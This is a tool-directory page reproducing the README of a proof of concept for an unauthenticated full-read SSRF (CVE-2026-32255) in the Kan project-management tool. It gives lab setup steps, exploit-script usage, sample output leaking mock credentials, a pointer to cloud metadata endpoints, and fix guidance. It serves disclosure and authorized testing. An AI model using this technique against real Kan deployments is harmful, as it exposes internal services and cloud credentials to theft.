Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
poc-cve-2026-32255 — This repository contains a proof of concept (POC) for CVE-2026-32255, a high-severity Server-Side Request Forgery (SSRF) vulnerability in Kan, an open-source project management tool. | Kitploit
Tools/GitHubGitHub/koadt/poc-cve-2026-32255
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubkoadt/poc-cve-2026-32255

poc-cve-2026-32255

This repository contains a proof of concept (POC) for CVE-2026-32255, a high-severity Server-Side Request Forgery (SSRF) vulnerability in Kan, an open-source project management tool.

View Repository
25 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Kan SSRF via Attachment Download (CVE-2026-32255) - Proof of Concept

This repository contains a proof of concept (POC) for CVE-2026-32255, a high-severity Server-Side Request Forgery (SSRF) vulnerability in Kan, an open-source project management tool.

The vulnerable endpoint allows unauthenticated attackers to make arbitrary HTTP requests from the server and read the full response, enabling access to internal services and cloud metadata endpoints.

Table of Contents

  1. Vulnerability Details
  2. Running the POC
  3. Using the Exploit Script
  4. How to Fix the Vulnerability
  5. Disclaimer

Vulnerability Details

CVE Information

  • CVE ID: CVE-2026-32255
  • Affected Versions: Kan <= 0.5.4
  • Fixed Version: 0.5.5
  • CVSS Score: 8.6 (High)
  • CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Description

    The file apps/web/src/pages/api/download/attatchment.ts exposes a GET /api/download/attatchment endpoint intended to proxy attachment downloads from S3 storage. The endpoint accepts a user-controlled url query parameter and passes it directly to fetch() server-side without any validation or authentication:

    root@kitploit:~
    const upstream = await fetch(url); // no validation on `url`
    

    An attacker can supply any URL, causing the server to make an HTTP request to that destination and return the full response body to the client. This is a full-read SSRF (not blind), meaning the attacker can read the entire response content.

    Impact

    • Access to internal services not exposed to the internet
    • Reading cloud metadata endpoints (e.g., http://169.254.169.254/ on AWS/GCP)
    • Port scanning of internal networks
    • Exfiltration of sensitive data from internal APIs

    References

    • NVD - CVE-2026-32255
    • GitHub Security Advisory - GHSA-qrx8-9hc6-jvqg
    • Fix Commit

    Running the POC

    Prerequisites

    • Docker and Docker Compose
    • Bash
    • curl

    Step 1: Run a Vulnerable Kan Instance

    Clone and run Kan v0.5.4 (the last vulnerable version):

    root@kitploit:~
    git clone --branch v0.5.4 https://github.com/kanbn/kan.git
    cd kan
    

    Configure the required environment variables:

    root@kitploit:~
    cat > .env <<'EOF'
    NEXT_PUBLIC_BASE_URL=http://localhost:3000
    BETTER_AUTH_SECRET=poc-secret-not-for-production-use
    POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
    POSTGRES_PASSWORD=kan
    REDIS_URL=redis://localhost:6379
    NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
    EOF
    

    Note: If you get an error about dokploy-network, remove the dokploy-network references from docker-compose.yml (lines 9, 130-131) and run docker compose up -d again. This network is not needed locally.

    Start the containers:

    root@kitploit:~
    docker compose up -d
    

    The application should be available at http://localhost:3000.

    Step 2: Start the Simulated Internal Service

    In a separate terminal, start the included mock internal service that simulates a sensitive internal API:

    root@kitploit:~
    python3 internal-service.py
    

    This starts a server on port 8888 that returns fake credentials, simulating a service that should only be accessible from the internal network. In a real-world scenario, this service would be isolated behind a firewall and unreachable from the outside. The SSRF allows the attacker to reach it through the server.

    Step 3: Run the Exploit

    root@kitploit:~
    chmod +x exploit.sh
    ./exploit.sh http://localhost:3000
    

    Using the Exploit Script

    Usage

    root@kitploit:~
    ./exploit.sh <target-url> [internal-url]
    
    • <target-url>: Base URL of the Kan instance (e.g., http://localhost:3000)
    • [internal-url]: Internal URL to fetch via SSRF (optional, auto-detected from Docker bridge gateway)

    Example

    root@kitploit:~
    ./exploit.sh http://localhost:3000
    
    root@kitploit:~
    === CVE-2026-32255 - Kan SSRF via Attachment Download ===
    Target: http://localhost:3000
    Internal URL: http://172.17.0.1:8888
    
    [*] Checking if endpoint is reachable...
    [+] Endpoint is reachable (HTTP 400)
    
    [*] Attempting SSRF to http://172.17.0.1:8888 ...
    [+] VULNERABLE - Server fetched internal resource
    
    Leaked content:
    ------------------------------------------------------------
    {
      "service": "internal-config-api",
      "credentials": {
        "db_host": "10.0.0.5",
        "db_user": "admin",
        "db_password": "s3cret_passw0rd!",
        "api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
      }
    }
    ------------------------------------------------------------
    

    How to Fix the Vulnerability

    Update Kan (Recommended)

    Update to Kan v0.5.5 or later, which validates the url parameter against the configured S3 endpoint hostname before proxying the request.

    Workaround: Block at Reverse Proxy

    If you cannot update immediately, block external access to the vulnerable endpoint at your reverse proxy level.


    Disclaimer

    This proof of concept is provided for educational purposes and authorized security testing only. Only use this tool on systems you own or have explicit written permission to test.

    The author is not responsible for any misuse of the information or tools provided in this repository. Unauthorized access to computer systems is illegal.


    Discovered by: kOaDT ([email protected])

    Download Tool